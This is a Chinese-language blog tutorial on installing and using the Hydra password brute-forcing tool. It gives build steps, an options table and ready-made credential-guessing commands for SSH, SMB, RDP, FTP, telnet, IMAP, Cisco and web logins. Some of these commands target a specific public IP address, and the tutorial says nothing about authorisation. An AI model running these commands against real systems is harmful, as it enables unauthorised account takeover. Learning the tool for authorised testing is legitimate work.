Hydra安装使用详解及实战

旧城等待， 2022-02-22 16:34 873阅读 0赞

**    Hydra 可以根据使用者指定的用户字名典文件、密码字典文件、目标IP列表来暴力破解目标系统登录用户名和密码。并且其支持多种协议以及并发连接！**

# 安装  #

GitHub项目地址:[https://github.com/vanhauser-thc/thc-hydra][https_github.com_vanhauser-thc_thc-hydra]

wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70][]

**安装必要组件：**

yum -y install gcc libssh-devel openssl-devel
    yum install -y unzip zip

**解压：**

unzip master.zip

**进入目录：**

cd thc-hydra-master/

**编译运行：**

./configure

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70 1][]

make &&make install

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70 2][]  
**测试：**

hydra -l root -p 12345678 192.168.234.128 ssh

![20190409192846354.png][]

下面测试一下密码字典：（emmmm我没文件所以随便输入了几条）

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70 3][]

hydra 192.168.234.128 ssh -l root -P ../password.txt

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70 4][]

# 使用 #

**语法：**

hydra [some command line options] [-s PORT] TARGET PROTOCOL [MODULE-OPTIONS]
     
    hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

**常用选项：**

<table style="width:596.8px;"> 
 <tbody> 
  <tr> 
   <th style="text-align:left;vertical-align:baseline;width:25px;">选项</th> 
   <th style="text-align:left;vertical-align:baseline;width:25px;">说明</th> 
   <th style="text-align:left;vertical-align:baseline;width:25px;">示例</th> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-h</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">查看所有可用的命令行选项</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">hydra -h</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-U</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">检查模块是否具有可选参数</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">hydra -U smb</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-l</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定用户名</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-l zhangsan</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-p</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定密码</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-p 123456</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-C</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">使用冒号分隔的user:passwd格式，而不是-l/-p</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-C zhangsan:123456</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-L</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定用户名字典文件</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-L /root/user.dict</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-P</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定密码字典文件</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-P /root/passwd.dict</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-M</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定目标IP列表文件</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-M /root/ip.dict</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-e</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">尝试“尝试登录为密码”和“空密码”</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-e ns</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-s</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定对应模块使用的端口，例如：如果ssh端口不是默认22，这里可以指定</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-s 2222</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-t</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定线程数，默认16</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-t 1</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-vV</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">显示详细破解过程</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-vV</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-o</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定将结果输出到文件</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-o /result.txt</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-b</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">指定-o选项输出的结果信息的类型，默认为文本信息，可以自定为jsonv1和json格式。</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-b json</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-R</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">恢复先前中止/崩溃的会话（当hydra被Control-C中止，被杀死或崩溃时，它会留下一个“hydra.restore”文件，其中包含恢复会话所需的所有信息。此会话文件每5分钟写入一次。注意：hydra.restore文件不能复制到不同的平台（例如从小端到大端，或从Solaris到AIX））</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-R</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-I</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">忽略现有的恢复文件（不要等待10秒）</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-I</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-S</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">执行SSL连接</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-S</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-f</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">在使用-M参数后，找到第一对登录用户和密码的时候终止破解</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-f</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-W</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">设置最大超时时间，单位秒，默认30秒</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-W 60</td> 
  </tr> 
  <tr> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-q</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">不要打印有关连接错误的消息</td> 
   <td style="border-color:#9dcc7a;text-align:left;vertical-align:baseline;">-q</td> 
  </tr> 
 </tbody> 
</table>

**其他选项：**

*  破解https：

hydra -m /index.php -l muts -P pass.txt 120.36.126.186 https

*  破解teamspeak：

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

*  破解cisco：

hydra -P pass.txt 120.36.126.186 cisco
    hydra -m cloud -P pass.txt 120.36.126.186 cisco-enable

*  破解smb：

hydra -l administrator -P pass.txt 120.36.126.186 smb

*  破解pop3：

hydra -l muts -P pass.txt my.pop3.mail pop3

*  破解rdp：

hydra ip rdp -l administrator -P pass.txt -V

*  破解http-proxy：

hydra -l admin -P pass.txt http-proxy://120.36.126.186

*  破解imap：

hydra -L user.txt -p secret 120.36.126.186 imap PLAIN
    hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

*  破解telnet

hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

*  破解ftp：

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
    hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

*  get方式提交，破解web登录：

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /index.php

文档地址：

[https://github.com/vanhauser-thc/thc-hydra][https_github.com_vanhauser-thc_thc-hydra]

[https_github.com_vanhauser-thc_thc-hydra]: https://github.com/vanhauser-thc/thc-hydra
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70]: /images/20220222/90398408a5134b258f3f94bdb2467547.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70 1]: /images/20220222/4eb3163d177044a7891dfc2a3d423098.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70 2]: /images/20220222/ca52219fe82f440ea4cd73facacf279c.png
[20190409192846354.png]: /images/20220222/beae6b2e13114a018943f92e903d46b9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70 3]: /images/20220222/2a6b1833bdd745b28f28e70f227ce953.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM3NTk4MDEx_size_16_color_FFFFFF_t_70 4]: /images/20220222/7f7d7cfd89eb4a8ebd4903acc469c75f.png